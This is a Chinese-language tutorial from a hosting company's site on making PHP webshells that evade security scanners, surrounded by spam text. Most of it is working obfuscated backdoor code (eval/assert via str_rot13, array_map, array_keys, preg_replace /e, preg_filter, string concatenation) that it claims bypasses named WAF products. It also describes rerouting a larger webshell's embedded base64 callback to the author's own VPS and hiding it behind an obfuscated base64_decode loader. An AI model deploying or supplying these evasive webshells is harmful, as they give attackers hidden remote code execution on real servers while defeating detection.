中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Webshell免殺怎么實現

發布時間:2021-12-17 16:52:30 來源:億速云 閱讀:331 作者:iii 欄目:網絡管理

本篇內容主要講解“Webshell免殺怎么實現”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Webshell免殺怎么實現”吧!

一句話木馬

在滲透測試中最常用的就是一句話后門(小馬)和中國菜刀的配合。如果出現某種WAF防護,就尋找一個免殺的大馬掛馬。

最常見的php一句話木馬

<?php  @eval($_POST['x']);?>

這個一句話木馬由兩部分組成,eval用來執行接收的代碼。$_POST['x']來接收數值。

本著這個原則,嘗試改寫一句話木馬繞過WAF。

搜集了幾個常用的php函數

執行代碼的eval、assert、preg_replace

接收數據的$_POST、$_GET、$_REQUEST

php一句話免殺

str_rot13函數

<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

str_rot13函數來替代assert。該函數對字符串執行ROT13編碼。ROT13編碼就是把每個字母在字母表中移動13位。

測試發現無法繞過安全狗。修改一下。

<?php
function xiaoma($a){
$c=str_rot13('nffreg');
$c($a);
}
xiaoma($_REQUEST['x']);
?>

即可繞過安全狗。

<?php
class One{
function xiaoma($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->xiaoma($_REQUEST['x']);
?>

再次修改,加了explode函數分割字符串,class封裝類。可繞過D盾。

array_map函數

array_map() 函數將函數作用到數組中的每個值上,并返回一個新的數組。

<?php
$a1=array("1234","123456");
$a2=array(@$_REQUEST['x'],"1234");
$a=array_map(null,$a1,$a2)[0][1];
assert($a);
?>

即可繞過安全狗。

array_key函數

array_key() 函數也是返回包含數組的一個新數組。

<?php
$a=array($_REQUEST['x']=>"3");
$b=array_keys($a)[0];
eval($b);
?>

索引數組變化為關聯數組。

即可繞過安全狗、D盾。

preg_replace函數

用來正則匹配的一個函數。

<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/test/e",func(),"i am test");
?>

/e用來當做php代碼解析。5.6版本以下實用。

測試可繞過安全狗和D盾。

preg_filter函數

根據preg_replace修改為preg_filter函數,也是用來執行正則的匹配替換。

<?php
$a=preg_filter('/\s+/','','as s er t');
$a($_REQUEST['x']);
?>

也可以繞過D盾、安全狗。

其他

<?php
function test($a){
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func.=$func.$arr[$i];
}
$func=substr($func,-6);
$func($a);
}
test($_REQUEST['x']);
?>

也可以繞過D盾、安全狗。

Webshell免殺怎么實現

php免殺大馬

正好自己手里有一個php大馬。但不免殺。嘗試將源碼base64加密后修改為php免殺大馬。

將大馬eval函數變為exit或者echo。burp抓取源代碼。

Webshell免殺怎么實現

Webshell免殺怎么實現

將源代碼拷貝下來,審計發現給源碼存在一處后門。

Webshell免殺怎么實現

base64解碼一下

Webshell免殺怎么實現

哦!!!真是可以。

將該base64地址修改為自己的vps地址。嘻嘻。

那現在只要eval函數可以執行這傳base64的字符串就可以啦。

WAF對base64_encode、base64_decode查殺非常嚴格。

不斷搜索、修改、編寫,最終成功。

<?php
header("Content-type: text/html; charset=utf-8");
class one{
public function dama(){
$l='base';
$o='64_de';
$v='co';
$e='de';
$love=$l.$o.$v.$e;
$c="love";
$shellname='網站安全檢測';
$password='xxx';
$myurl='http://www.xxx.com';
$a=$$c('code');//php源碼
@eval($a);
}
}
$person = new one;
$person->dama();
?>

直接將php大馬源碼放在code處。即可。

也可以改造php免殺一句話木馬。

比如這款

<?php
header("Content-type: text/html; charset=utf-8");
function test($code){
$password='xxx';
$a=preg_filter('/\s+/','','base 64 _ deco de');
$c=$a($code);
@eval($c);
}
$code='';	//code存放php大馬
test($code);
?>

訪問一下。

Webshell免殺怎么實現

查看vps是否接收到。

Webshell免殺怎么實現

到此,相信大家對“Webshell免殺怎么實現”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

抚顺县| 刚察县| 西贡区| 西峡县| 岳西县| 东宁县| 贵溪市| 北辰区| 老河口市| 玉屏| 西华县| 新闻| 徐州市| 民勤县| 五大连池市| 南部县| 满洲里市| 鹤壁市| 南溪县| 水富县| 翼城县| 印江| 福海县| 汤原县| 高阳县| 嘉善县| 武义县| 武强县| 岐山县| 广南县| 崇仁县| 松原市| 南溪县| 嘉荫县| 大竹县| 鄂尔多斯市| 若羌县| 深圳市| 怀宁县| 冷水江市| 洛南县|